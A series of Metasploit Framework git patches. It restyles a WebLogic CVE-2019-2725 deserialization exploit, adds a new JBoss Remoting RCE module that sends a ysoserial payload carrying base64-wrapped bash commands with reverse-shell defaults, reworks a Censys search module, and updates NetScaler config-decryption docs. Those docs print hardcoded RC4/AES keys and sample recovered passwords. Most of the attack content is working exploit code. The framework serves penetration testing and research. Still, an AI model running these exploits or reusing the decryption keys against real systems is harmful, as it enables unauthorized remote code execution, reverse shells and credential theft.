AsyncResponseService + to execute code on the vulnerable host. + }, + 'Author' => [ + 'Andres Rodriguez - 2Secure (@acamro) ', # Metasploit Module ], - 'License' => MSF_LICENSE, - 'References' => - [ - ['CVE', '2017-10271'], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2019-2725'], ['CNVD-C', '2019-48814'], ['URL', 'http://www.cnvd.org.cn/webinfo/show/4999'], ['URL', 'https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html'], ['URL', 'https://twitter.com/F5Labs/status/1120822404568244224'] ], - 'Privileged' => false, - 'Platform' => %w{ unix win solaris }, - 'Targets' => - [ - [ 'Unix', - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_bash'} + 'Privileged' => false, + 'Platform' => %w[unix win solaris], + 'Targets' => [ + [ + 'Unix', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } + } ], - [ 'Windows', - 'Platform' => 'win', - 'Arch' => [ARCH_X64, ARCH_X86], - 'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'} + [ + 'Windows', + { + 'Platform' => 'win', + 'Arch' => [ARCH_X64, ARCH_X86], + 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' } + } ], - [ 'Solaris', - 'Platform' => 'solaris', - 'Arch' => ARCH_CMD, - 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'}, - 'Payload' => { - 'Space' => 2048, - 'DisableNops' => true, - 'Compat' => + [ + 'Solaris', + { + 'Platform' => 'solaris', + 'Arch' => ARCH_CMD, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' }, + 'Payload' => { + 'Space' => 2048, + 'DisableNops' => true, + 'Compat' => { 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl telnet', + 'RequiredCmd' => 'generic perl telnet' } + } } ] ], - 'DefaultTarget' => 0, - 'DefaultOptions' => - { + 'DefaultTarget' => 0, + 'DefaultOptions' => { 'WfsDelay' => 12 }, - 'DisclosureDate' => '2019-04-23')) + 'DisclosureDate' => '2019-04-23', + 'Notes' => { + 'Stability' => [ CRASH_SAFE ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], + 'Reliability' => [ REPEATABLE_SESSION ] + } + ) + ) register_options( [ @@ -76,21 +90,21 @@ def initialize(info={}) def check res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path), - 'method' => 'POST', - 'ctype' => 'text/xml', - 'headers' => {'SOAPAction' => '' } + 'uri' => normalize_uri(target_uri.path), + 'method' => 'POST', + 'ctype' => 'text/xml', + 'headers' => { 'SOAPAction' => '' } ) - if res && res.code == 500 && res.body.include?("env:Client") + if res && res.code == 500 && res.body.include?('env:Client') vprint_status("The target returned a vulnerable HTTP code: /#{res.code}") vprint_status("The target returned a vulnerable HTTP error: /#{res.body.split("\n")[0]}") Exploit::CheckCode::Vulnerable elsif res && res.code != 202 - vprint_status("The target returned a non-vulnerable HTTP code") + vprint_status('The target returned a non-vulnerable HTTP code') Exploit::CheckCode::Safe elsif res.nil? - vprint_status("The target did not respond in an expected way") + vprint_status('The target did not respond in an expected way') Exploit::CheckCode::Unknown else vprint_status("The target returned HTTP code: #{res.code}") @@ -100,13 +114,13 @@ def check end def exploit - print_status("Generating payload...") + print_status('Generating payload...') case target.name when 'Windows' string0_cmd = 'cmd.exe' string1_param = '/c' - shell_payload = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true, encoded: false }) - when 'Unix','Solaris' + shell_payload = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true, encoded: false }) + when 'Unix', 'Solaris' string0_cmd = '/bin/bash' string1_param = '-c' shell_payload = payload.encoded @@ -115,53 +129,53 @@ def exploit random_action = rand_text_alphanumeric(20) random_relates = rand_text_alphanumeric(20) - soap_payload = %Q|| - soap_payload << %Q|| - soap_payload << %Q|#{random_action}| - soap_payload << %Q|#{random_relates}| - soap_payload << %Q|| - soap_payload << %Q|| - soap_payload << %Q|| - soap_payload << %Q|| - soap_payload << %Q|#{string0_cmd}| - soap_payload << %Q|| - soap_payload << %Q|| - soap_payload << %Q|#{string1_param}| - soap_payload << %Q|| - soap_payload << %Q|| - soap_payload << %Q|#{shell_payload.encode(xml: :text)}| - #soap_payload << %Q|#{xml_encode(shell_payload)}| - soap_payload << %Q|| - soap_payload << %Q|| - soap_payload << %Q|| - soap_payload << %Q|| - soap_payload << %Q|| - soap_payload << %Q|| - soap_payload << %Q|| - soap_payload << %Q|| - soap_payload << %Q|| - soap_payload << %Q|| + soap_payload = %() + soap_payload << %() + soap_payload << %(#{random_action}) + soap_payload << %(#{random_relates}) + soap_payload << %() + soap_payload << %() + soap_payload << %() + soap_payload << %() + soap_payload << %(#{string0_cmd}) + soap_payload << %() + soap_payload << %() + soap_payload << %(#{string1_param}) + soap_payload << %() + soap_payload << %() + soap_payload << %(#{shell_payload.encode(xml: :text)}) + # soap_payload << %Q|#{xml_encode(shell_payload)}| + soap_payload << %() + soap_payload << %() + soap_payload << %() + soap_payload << %() + soap_payload << %() + soap_payload << %() + soap_payload << %() + soap_payload << %() + soap_payload << %() + soap_payload << %() - print_status("Sending payload...") + print_status('Sending payload...') begin res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path), - 'method' => 'POST', - 'ctype' => 'text/xml', - 'data' => soap_payload, - 'headers' => {'SOAPAction' => '' } + 'uri' => normalize_uri(target_uri.path), + 'method' => 'POST', + 'ctype' => 'text/xml', + 'data' => soap_payload, + 'headers' => { 'SOAPAction' => '' } ) rescue Errno::ENOTCONN - fail_with(Failure::Disconnected, "The target forcibly closed the connection, and is likely not vulnerable.") + fail_with(Failure::Disconnected, 'The target forcibly closed the connection, and is likely not vulnerable.') end if res.nil? - fail_with(Failure::Unreachable, "No response from host") + fail_with(Failure::Unreachable, 'No response from host') elsif res && res.code != 202 - fail_with(Failure::UnexpectedReply,"Exploit failed. Host did not responded with HTTP code #{res.code} instead of HTTP code 202") + fail_with(Failure::UnexpectedReply, "Exploit failed. Host did not responded with HTTP code #{res.code} instead of HTTP code 202") end end end From 12522d1407e0b8d41714936d2e508442112fd447 Mon Sep 17 00:00:00 2001 From: kalba-security Date: Fri, 1 Jul 2022 10:34:27 -0400 Subject: [PATCH 25/79] fix cve in weblogic_deserialize_asyncresponseservice docs and run msftidy_docs --- ...eblogic_deserialize_asyncresponseservice.md | 18 ++++++++++++++---- 1 file changed, 14 insertions(+), 4 deletions(-) diff --git a/documentation/modules/exploit/multi/misc/weblogic_deserialize_asyncresponseservice.md b/documentation/modules/exploit/multi/misc/weblogic_deserialize_asyncresponseservice.md index 5cbf4e023337..814b77bb2695 100644 --- a/documentation/modules/exploit/multi/misc/weblogic_deserialize_asyncresponseservice.md +++ b/documentation/modules/exploit/multi/misc/weblogic_deserialize_asyncresponseservice.md @@ -1,8 +1,14 @@ ## Vulnerable Application -CVE-2017-10271 exploits an XML deserialization vulnerability in Oracle WebLogic via the AsyncResponseService component. The exploit provides an unauthenticated attacker with remote arbitrary command execution. +CVE-2019-2725 exploits an XML deserialization vulnerability in Oracle WebLogic via the AsyncResponseService component. +The exploit provides an unauthenticated attacker with remote arbitrary command execution. -Oracle Weblogic runs as a Java-based service in Windows, Linux, and Unix environments. It is downloadable from Oracle once registered for an account. For testing vulnerable environments, we used Weblogic 10.3.6 for Ubuntu (`wls1036_linux32.bin`), Weblogic 10.3.6 for Windows (`wls1036_dev.zip`). For testing a non-vulnerable environment, we used Weblogic 12.2.1.2 (`fmw_12.2.1.2.0_wls.jar`) in combination with a JDK (`jdk-8u211-windows-x64.exe`). +Oracle Weblogic runs as a Java-based service in Windows, Linux, and Unix environments. +It is downloadable from Oracle once registered for an account. +For testing vulnerable environments, we used Weblogic 10.3.6 for Ubuntu (`wls1036_linux32.bin`), +Weblogic 10.3.6 for Windows (`wls1036_dev.zip`). +For testing a non-vulnerable environment, we used Weblogic 12.2.1.2 (`fmw_12.2.1.2.0_wls.jar`) +in combination with a JDK (`jdk-8u211-windows-x64.exe`). ## Verification Steps @@ -13,7 +19,10 @@ Oracle Weblogic runs as a Java-based service in Windows, Linux, and Unix environ 3. When prompted, use a development environment instead of a production environment. 4. When prompted, keep the default port of TCP/7001. 5. When prompted, provide a username and password, and make a note of them. - 6. Upon completion of the installer, find and execute the admin server. On Windows: `C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\startWebLogic.cmd`. On Linux: `~/Oracle/Middleware/user_projects/base_domain/bin/startWebLogic.sh` + 6. Upon completion of the installer, find and execute the admin server. + On Windows: + `C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\startWebLogic.cmd`. + On Linux: `~/Oracle/Middleware/user_projects/base_domain/bin/startWebLogic.sh` 7. You may be prompted for the username and password you generated during the install process. 8. Wait for the output: `` @@ -39,7 +48,8 @@ msf5 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > check ## Options - **TARGETURI** : Set this to the AsyncResponseService uri, normally it should be `/_async/asyncresponseservice`. You can also set `VHOST` instead to handle virtual hosts. + **TARGETURI** : Set this to the AsyncResponseService uri, normally it should be `/_async/asyncresponseservice`. + You can also set `VHOST` instead to handle virtual hosts. ## Scenarios From 0ea033be55856fafb6381e9504ef99506b355ee2 Mon Sep 17 00:00:00 2001 From: Heyder Andrade Date: Fri, 1 Jul 2022 21:39:42 +0200 Subject: [PATCH 26/79] Add module for jboss remoting unified invoker RCE --- .../jboss_remoting_unified_invoker_rce.rb | 118 ++++++++++++++++++ 1 file changed, 118 insertions(+) create mode 100644 modules/exploits/multi/misc/jboss_remoting_unified_invoker_rce.rb diff --git a/modules/exploits/multi/misc/jboss_remoting_unified_invoker_rce.rb b/modules/exploits/multi/misc/jboss_remoting_unified_invoker_rce.rb new file mode 100644 index 000000000000..9d5d9c99dc9f --- /dev/null +++ b/modules/exploits/multi/misc/jboss_remoting_unified_invoker_rce.rb @@ -0,0 +1,118 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Tcp + # include Rex::Socket::Tcp + include Msf::Exploit::CmdStager + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'JBOSS EAP/AS Remoting Unified Invoker RCE', + 'Description' => %q{ + }, + 'Author' => [ + 'joaomatosf <@joaomatosf>', # Discovery + 'pimps <@pimps>', # PoC + 'Heyder Andrade <@HeyderAndrade>' # msf module + ], + 'References' => [ + [ 'URL', 'https://s3.amazonaws.com/files.joaomatosf.com/slides/alligator_slides.pdf'] + ], + 'DisclosureDate' => '2019-12-11', + 'License' => MSF_LICENSE, + 'Platform' => ['unix', 'linux'], + 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], + 'Privileged' => false, + 'Targets' => [ + [ + 'Unix Command', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_bash' + } + } + ], + [ + 'Linux Dropper', + { + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Type' => :linux_dropper, + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' + } + } + ] + ], + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + register_options([ + Opt::RPORT(4446) + ]) + end + + def handshake_data + ['aced0005'].pack('H*') + end + + def check + connect + sock.put(handshake_data) + data = sock.get_once(16) + disconnect + return Exploit::CheckCode::Appears if data == handshake_data + + return Exploit::CheckCode::Safe + rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError + print_error("Error to connect #{rhost}:#{rport} : '#{e.class}' '#{e}'") + return Exploit::CheckCode::Unknown + end + + def execute_command(cmd, _opts = {}) + cmd_encapsulated = "bash -c {echo,#{Rex::Text.encode_base64(cmd)}}|{base64,-d}|bash" + ysoserial_payload = Msf::Util::JavaDeserialization.ysoserial_payload('CommonsCollections5', cmd_encapsulated, modified_type: 'none') + # MAGIC BYTES JBOSS PROTOCOL: + # 0x77: TC_BLOCKDATA + # 0x01: Length of TC_BLOCKDATA + # 0x16: Protocol version 22 + # 0x79: TC_RESET + magic_bytes = ['77011679'].pack('H*') + payload = magic_bytes + ysoserial_payload.byteslice(4..) + connect + sock.put(handshake_data) + sock.get_once(16) + sock.put(payload) + disconnect + print_good("Successfully executed command: #{cmd}") + rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError => e + fail_with(Failure::UnexpectedReply, e.message) + end + + def exploit + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + case target['Type'] + when :unix_cmd + execute_command(payload.encoded) + when :linux_dropper + execute_cmdstager + end + end + +end From f2419785bafd96470644d623fddb9705ac6792b0 Mon Sep 17 00:00:00 2001 From: yvain Date: Sat, 2 Jul 2022 19:02:25 +0200 Subject: [PATCH 27/79] implemented certificates search as an option. --- modules/auxiliary/gather/censys_search.rb | 103 +++++++++++++++------- 1 file changed, 69 insertions(+), 34 deletions(-) diff --git a/modules/auxiliary/gather/censys_search.rb b/modules/auxiliary/gather/censys_search.rb index 51370585a1f8..a8c9b106a0f3 100644 --- a/modules/auxiliary/gather/censys_search.rb +++ b/modules/auxiliary/gather/censys_search.rb @@ -27,8 +27,8 @@ def initialize(info={}) register_options([ OptString.new('CENSYS_UID', [true, 'The Censys API UID']), OptString.new('CENSYS_SECRET', [true, 'The Censys API SECRET']), - OptString.new('CENSYS_DORK', [true, 'The Censys Search Dork']), - OptEnum.new('CENSYS_SEARCHTYPE', [true, 'The Censys Search Type', 'certificates', ['certificates', 'ipv4', 'websites']]) + OptString.new('DORK', [true, 'The Censys Search Dork']), + OptBool.new('CERTIFICATES', [false, 'Query infos about certificates', false]) ]) end @@ -37,7 +37,7 @@ def basic_auth_header(username, password) auth_str = "Basic " + Rex::Text.encode_base64(auth_str) end - def search(keyword, search_type) + def search(keyword) # search_type should be one of ipv4, websites, certificates begin @@ -48,22 +48,12 @@ def search(keyword, search_type) @cli = Rex::Proto::Http::Client.new('search.censys.io', 443, {}, true) @cli.connect - if @searchtype.include?('ipv4') response = @cli.request_cgi( 'method' => 'GET', - 'uri' => "/api/v2/hosts/search?q=#{keyword}", - 'headers' => { 'Authorization' => basic_auth_header(@uid, @secret) }, + 'uri' => "/api/v2/hosts/search?q=#{keyword}", + 'headers' => { 'Authorization' => basic_auth_header(@uid, @secret) }, ) res = @cli.send_recv(response) - elsif @searchtype.include?('certificates') - response = @cli.request_cgi( - 'method' => 'GET', - 'uri' => "/api/v1/view/certificates/#{keyword}", - 'headers' => { 'Authorization' => basic_auth_header(@uid, @secret) }, - ) - res = @cli.send_recv(response) - end - rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT print_error("HTTP Connection Failed") end @@ -74,13 +64,9 @@ def search(keyword, search_type) end records = ActiveSupport::JSON.decode(res.body) - - if @searchtype.include?('certificates') - parse_certificates(records) - elsif @searchtype.include?('ipv4') - parse_ipv4(records['result']) - end + parse_ipv4(records['result']) end + def valid_domain?(domain) domain =~ /^([a-z0-9]+(-[a-z0-9]+)*\.)+[a-z]{2,}$/ end @@ -94,7 +80,10 @@ def domain2ip(domain) ips end - def parse_certificates(certificate) + def parse_certificate(certificate) + if certificate.nil? + return "NO_CERT_DATA" + end ips = [] # parsed.fingerprint_sha256 # parsed.subject_dn @@ -109,34 +98,80 @@ def parse_certificates(certificate) ips |= domain2ip(host) end + result = [] ips.each do |ip| - print_good("#{ip} - #{subject_dn}") - report_host(:host => ip, :info => subject_dn) + result.append("#{ip} - #{subject_dn}") end + return result end def parse_ipv4(records) - return unless records['hits'] + if records.nil? + return + end records['hits'].each do |ipv4| ip = ipv4['ip'] services = ipv4['services'] ports = [] + port_count = 0 services.each do |service| port = service['port'] name = service['service_name'] - certificate = service['certificate'] - if certificate - print_good("#{ipv4['ip']} - #{port} - #{name} - #{certificate}") + ports.append("#{port}/#{name}") + port_count += 1 + if @certificates == true + certificate = service['certificate'] + if certificate + begin + response = @cli.request_cgi( + 'method' => 'GET', + 'uri' => "/api/v1/view/certificates/#{certificate}", + 'headers' => { 'Authorization' => basic_auth_header(@uid, @secret) }, + ) + res = @cli.send_recv(response) + rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT + print_error("HTTP Connection Failed") + end + unless res + print_error('server_response_error') + return + end + cert = ActiveSupport::JSON.decode(res.body) + ports.append(parse_certificate(cert)) + else + ports.append("NO_CERT_DATA") #Need to input data for organization + end + else + ports.append("NO_CERT_DATA") #Need to input data for organization end report_service(:host => ip, :port => port, :name => name) - ports.append(port) end + if ports != nil - print_good("#{ip} - #{ports.join(',')}") + i = 0 + print_good("#{ip}") + ports.each do |port| + if i % 2 == 0 && i / 2 < port_count + print "#{port} " + end + i += 1 + end + print "\n" + if @certificate == true + ports.each do |port| + if i % 2 == 1 && i / 2 < port_count + if !port.include? "NO_CERT_DATA" + port.each do |cert| + print_good("#{ports[i-1]} - #{cert}") + end + end + end + i += 1 + end + end end end end - # Check to see if www.censys.io resolves properly def censys_resolvable? begin @@ -156,8 +191,8 @@ def run @uid = datastore['CENSYS_UID'] @secret = datastore['CENSYS_SECRET'] - @dork = datastore['CENSYS_DORK'] - @searchtype = datastore['CENSYS_SEARCHTYPE'] - search(@dork, @searchtype) + @dork = datastore['DORK'] + @certificates = datastore['CERTIFICATES'] + search(@dork) end end From 8bd0be9837cbc6e0fe902648539f462de8ec9a02 Mon Sep 17 00:00:00 2001 From: yvain Date: Sat, 2 Jul 2022 19:43:41 +0200 Subject: [PATCH 28/79] msftidy pass. --- modules/auxiliary/gather/censys_search.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/censys_search.rb b/modules/auxiliary/gather/censys_search.rb index a8c9b106a0f3..586a41b7e7f2 100644 --- a/modules/auxiliary/gather/censys_search.rb +++ b/modules/auxiliary/gather/censys_search.rb @@ -66,7 +66,7 @@ def search(keyword) records = ActiveSupport::JSON.decode(res.body) parse_ipv4(records['result']) end - + def valid_domain?(domain) domain =~ /^([a-z0-9]+(-[a-z0-9]+)*\.)+[a-z]{2,}$/ end From 789397a44594eae62d4c897a5d9e31b063aab60c Mon Sep 17 00:00:00 2001 From: npm-cesium137-io Date: Sun, 3 Jul 2022 08:21:58 -0400 Subject: [PATCH 29/79] citrix_netscaler_config_decrypt tweaks Minor code tweaks and updates to documentation --- .../citrix/citrix_netscaler_config_decrypt.md | 42 ++++++++++--------- .../citrix/citrix_netscaler_config_decrypt.rb | 5 +++ 2 files changed, 28 insertions(+), 19 deletions(-) diff --git a/documentation/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.md b/documentation/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.md index 17a721e7bc8b..9736d96b0706 100644 --- a/documentation/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.md +++ b/documentation/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.md @@ -1,16 +1,17 @@ -This module takes a Citrix NetScaler ns.conf configuration file as input and extracts secrets that +This module takes a Citrix NetScaler `ns.conf` configuration file as input and extracts secrets that have been stored with reversible encryption. The module supports legacy NetScaler encryption (RC4) as well as the newer AES-256-ECB and AES-256-CBC encryption types. It is also possible to decrypt secrets protected by the Key Encryption Key (KEK) method, provided the key fragment files F1.key -and F2.key are provided. Root access to a NetScaler device or access to a NetScaler configuration -backup archive are the most effective means of acquiring the configuration file and key fragments. +and F2.key are provided. Currently, keys for appliances in FIPS mode or running hardware HSM cannot +be extracted. Root access to a NetScaler device or access to a NetScaler configuration backup are +the most effective means of acquiring the configuration file and key fragments. This module incorporates research published by dozer: https://dozer.nz/posts/citrix-decrypt/ ## Vulnerable Application -This module is tested against the configuration files for NetScaler versions 10.5, 11, 12.x and +This module is tested against the configuration files for NetScaler versions 10.x, 11x, 12.x and 13.x. The module will work with files retrieved from a live NetScaler system as well as files extracted from an unencrypted NetScaler backup archive. This is possible because NetScaler uses well-known hard coded encryption keys which are visible on the system in the hidden file: @@ -19,13 +20,16 @@ well-known hard coded encryption keys which are visible on the system in the hid These static keys are: -`NetScaler RC4:` - `2286da6ca015bcd9b7259753c2a5fbc2` -`NetScaler AES:` - `351cbe38f041320f22d990ad8365889c7de2fcccae5a1a8707e21e4adccd4ad9` - +``` +NetScaler RC4: + 2286da6ca015bcd9b7259753c2a5fbc2 +NetScaler AES: + 351cbe38f041320f22d990ad8365889c7de2fcccae5a1a8707e21e4adccd4ad9 +``` The module is also able to decrypt secrets encrypted with NetScaler KEK, provided the associated -`F1.key` and `F2.key` fragments are provided. +`F1.key` and `F2.key` fragments are provided. Private key passphrases that use `-passcrypt` are not +currently decryptable by this module, but any secret that uses the `-encrypted` parameter should be +fully recoverable. ## Verification Steps You must possess a NetScaler `ns.conf` file in order to use this module. If the NetScaler is running @@ -72,7 +76,7 @@ From the nscli or `cat /nsconfig/ns.conf` -From the BSD shell. These files can also be retrieved from NetScaler configuration backup +from the BSD shell. These files can also be retrieved from NetScaler configuration backup archives which are generated from the appliance admin interface. ### Acquire KEK Fragment Files @@ -96,8 +100,8 @@ key is stored in hidden files at paths: As well as under `/nsconfig/keys`. Note that both fragments must be provided for successful decryption. The module can be run without providing KEK fragments, but will be unable to decrypt -any secrets that use KEK encryption. Like the `ns.conf` file, an unencrypted NetScaler backup -will contain all KEK fragments currently defined on the appliance. +any secrets that use KEK encryption. An unencrypted NetScaler backup archive will contain all KEK +fragments currently defined on the appliance as well as the current `ns.conf` file. ### Running the Module @@ -182,8 +186,8 @@ add authentication radiusAction APP01_DUO -serverIP 10.100.10.13 -serverPort 118 add authentication radiusAction APP01_DUO_CITRIXRECEIVER -serverIP 10.100.10.13 -serverPort 21812 -authTimeout 60 -radKey 6644f481004ac7dee5a05b5a8dc3d9d9ae8c76f5fe82e0430b43acd7fb5afe9c -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -accounting ON [+] Plaintext: IAmSam! [*] Config line: -add authentication ldapAction AD_DUA2FAUSERS -serverName ldap.cesium137.io -serverPort 636 -authTimeout 60 -ldapBase "DC=cesium137,DC=io" -ldapBindDn wiz@cesium137.io -ldapBindDnPassword 7fbbf2ef9665641264406c17673c0cdb5774b76454f3ac8c7bb067dd0d2228c5 -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -ldapLoginName sAMAccountName -searchFilter "&(objectCategory=user)(memberOf=CN=2FA-OWA,CN=Users,DC=cesium137,DC=io)" -groupAttrName memberOf -subAttributeName cn -secType SSL -passwdChange ENABLED -nestedGroupExtraction ON -groupNameIdentifier sAMAccountName -groupSearchAttribute memberOf -groupSearchSubAttribute CN -[+] User: wiz@cesium137.io +add authentication ldapAction AD_DUA2FAUSERS -serverName ldap.cesium137.io -serverPort 636 -authTimeout 60 -ldapBase "DC=cesium137,DC=io" -ldapBindDn ldap@cesium137.io -ldapBindDnPassword 7fbbf2ef9665641264406c17673c0cdb5774b76454f3ac8c7bb067dd0d2228c5 -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -ldapLoginName sAMAccountName -searchFilter "&(objectCategory=user)(memberOf=CN=2FA-OWA,CN=Users,DC=cesium137,DC=io)" -groupAttrName memberOf -subAttributeName cn -secType SSL -passwdChange ENABLED -nestedGroupExtraction ON -groupNameIdentifier sAMAccountName -groupSearchAttribute memberOf -groupSearchSubAttribute CN +[+] User: ldap@cesium137.io [+] Pass: Gr33n3gg$ [*] Config line: set ns rpcNode 192.168.10.14 -password 2634fa338c457cb32fdf245873874a9b8fcd7128f6534641f49ea650e9f0974b -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -srcIP 192.168.10.14 @@ -192,12 +196,12 @@ set ns rpcNode 192.168.10.14 -password 2634fa338c457cb32fdf245873874a9b8fcd7128f set ns rpcNode 192.168.10.15 -password 6955e686fc5dd3beee5013dad0e0fa6510a56029b52cc7d7ed15082a60ec6ce4 -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -srcIP 192.168.10.14 [+] Plaintext: SamIAm! [*] Config line: -add lb monitor mon_ldaps LDAP -scriptName nsldap.pl -dispatcherIP 127.0.0.1 -dispatcherPort 3013 -password cc1f6bb054f5d63d5eb871fdd36ff573f3343c1e0238965682460c6f084d1e14-encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -LRTM DISABLED -secure YES -baseDN "DC=cesium137,DC=io" -bindDN wiz@cesium137.io -filter CN=builtin -devno 13862 -[+] User: wiz@cesium137.io +add lb monitor mon_ldaps LDAP -scriptName nsldap.pl -dispatcherIP 127.0.0.1 -dispatcherPort 3013 -password cc1f6bb054f5d63d5eb871fdd36ff573f3343c1e0238965682460c6f084d1e14-encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -LRTM DISABLED -secure YES -baseDN "DC=cesium137,DC=io" -bindDN ldap@cesium137.io -filter CN=builtin -devno 13862 +[+] User: ldap@cesium137.io [+] Pass: Gr33n3gg$ [*] Config line: -add lb monitor mon_ldap LDAP -scriptName nsldap.pl -dispatcherIP 127.0.0.1 -dispatcherPort 3013 -password 5c35e0aa5c3d999e9ff10de1fa32910f9ac28b1ee8824c2301ac964e1f5f987e-encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -LRTM DISABLED -destPort 636 -secure YES -baseDN "DC=cesium137,DC=io" -bindDN wiz@cesium137.io -filter CN=builtin -devno 13863 -[+] User: wiz@cesium137.io +add lb monitor mon_ldap LDAP -scriptName nsldap.pl -dispatcherIP 127.0.0.1 -dispatcherPort 3013 -password 5c35e0aa5c3d999e9ff10de1fa32910f9ac28b1ee8824c2301ac964e1f5f987e-encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -LRTM DISABLED -destPort 636 -secure YES -baseDN "DC=cesium137,DC=io" -bindDN ldap@cesium137.io -filter CN=builtin -devno 13863 +[+] User: ldap@cesium137.io [+] Pass: Gr33n3gg$ [*] Config line: add lb monitor mon-radius RADIUS -respCode 2 -userName ldap -password fda3a1c5990558d4bfae059f27191f4c91a2dfa826d7318db287e109f5da39f9 -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -LRTM DISABLED -resptimeout 4 -destPort 1812 -devno 13864 diff --git a/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb b/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb index 74bdde71e1c8..e6528e59880c 100644 --- a/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb +++ b/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb @@ -71,6 +71,9 @@ def ns_kek_f2 datastore['NS_KEK_F2'] end + # ns.conf elements that contain potential secrets, update as needed + # k = parameter that has the secret (-key, -password, [...]) + # v = start of config line that potentially has a secret def ns_secret { 'key' => ['add ssl certKey'], @@ -166,6 +169,7 @@ def parse_ns_config else ciphertext_b64 = encrypted_entry.split(' ')[1].delete('"') ciphertext_bytes = Base64.strict_decode64(ciphertext_b64) + # Still haven't grokked how -passcrypt works print_warning('Not decrypting passcrypt entry:') print_warning("Ciphertext: #{ciphertext_b64}") next @@ -205,6 +209,7 @@ def parse_ns_config end def parse_username_from_config(line) + # Fugly but effective way to extract the principal name from a config line for loot storage [' user', 'userName', '-clientID', '-bindDN', '-ldapBindDn'].each do |user_param| next unless line.match?(/#{user_param} (.+)/) From 066d01b7b2450a3654d37a7612e44f90b6d45312 Mon Sep 17 00:00:00 2001 From: Christophe De La Fuente Date: Mon, 4 Jul 2022 17:19:16 +0200 Subject: [PATCH 30/79] Rework censys_search module to use Censys Search API v2 --- .../modules/auxiliary/gather/censys_search.md | 303 +++++++----------- modules/auxiliary/gather/censys_search.rb | 222 +++++-------- 2 files changed, 200 insertions(+), 325 deletions(-) diff --git a/documentation/modules/auxiliary/gather/censys_search.md b/documentation/modules/auxiliary/gather/censys_search.md index 521ff38f235b..9ee1736fbb8d 100644 --- a/documentation/modules/auxiliary/gather/censys_search.md +++ b/documentation/modules/auxiliary/gather/censys_search.md @@ -1,212 +1,131 @@ ## Vulnerable Application -The module use the Censys REST API to access the same data accessible through web interface. -The search endpoint allows searches against the current data in the IPv4, Top Million Websites, and Certificates indexes using the same search syntax as the primary site. +The module uses the Censys REST API to access the same data accessible through +the web interface. The search endpoint allows queries using the Censys Search +Language against the Hosts dataset. Setting the CERTIFICATES option will also +retrieve the certificate details for each relevant service by querying the +Certificates dataset. ## Verification Steps 1. Do: `use auxiliary/gather/censys_search` -2. Do: `set CENSYS_UID XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX` (length: 32 (without dashes)) -3. Do: `set CENSYS_SECRET XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX` (length: 32) -4. Do: `set CENSYS_SEARCHTYPE certificates` -5: Do: `set CENSYS_DORK query` -6: Do: `run` +1. Do: `set CENSYS_UID XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX` (length: 32 (without dashes)) +1. Do: `set CENSYS_SECRET 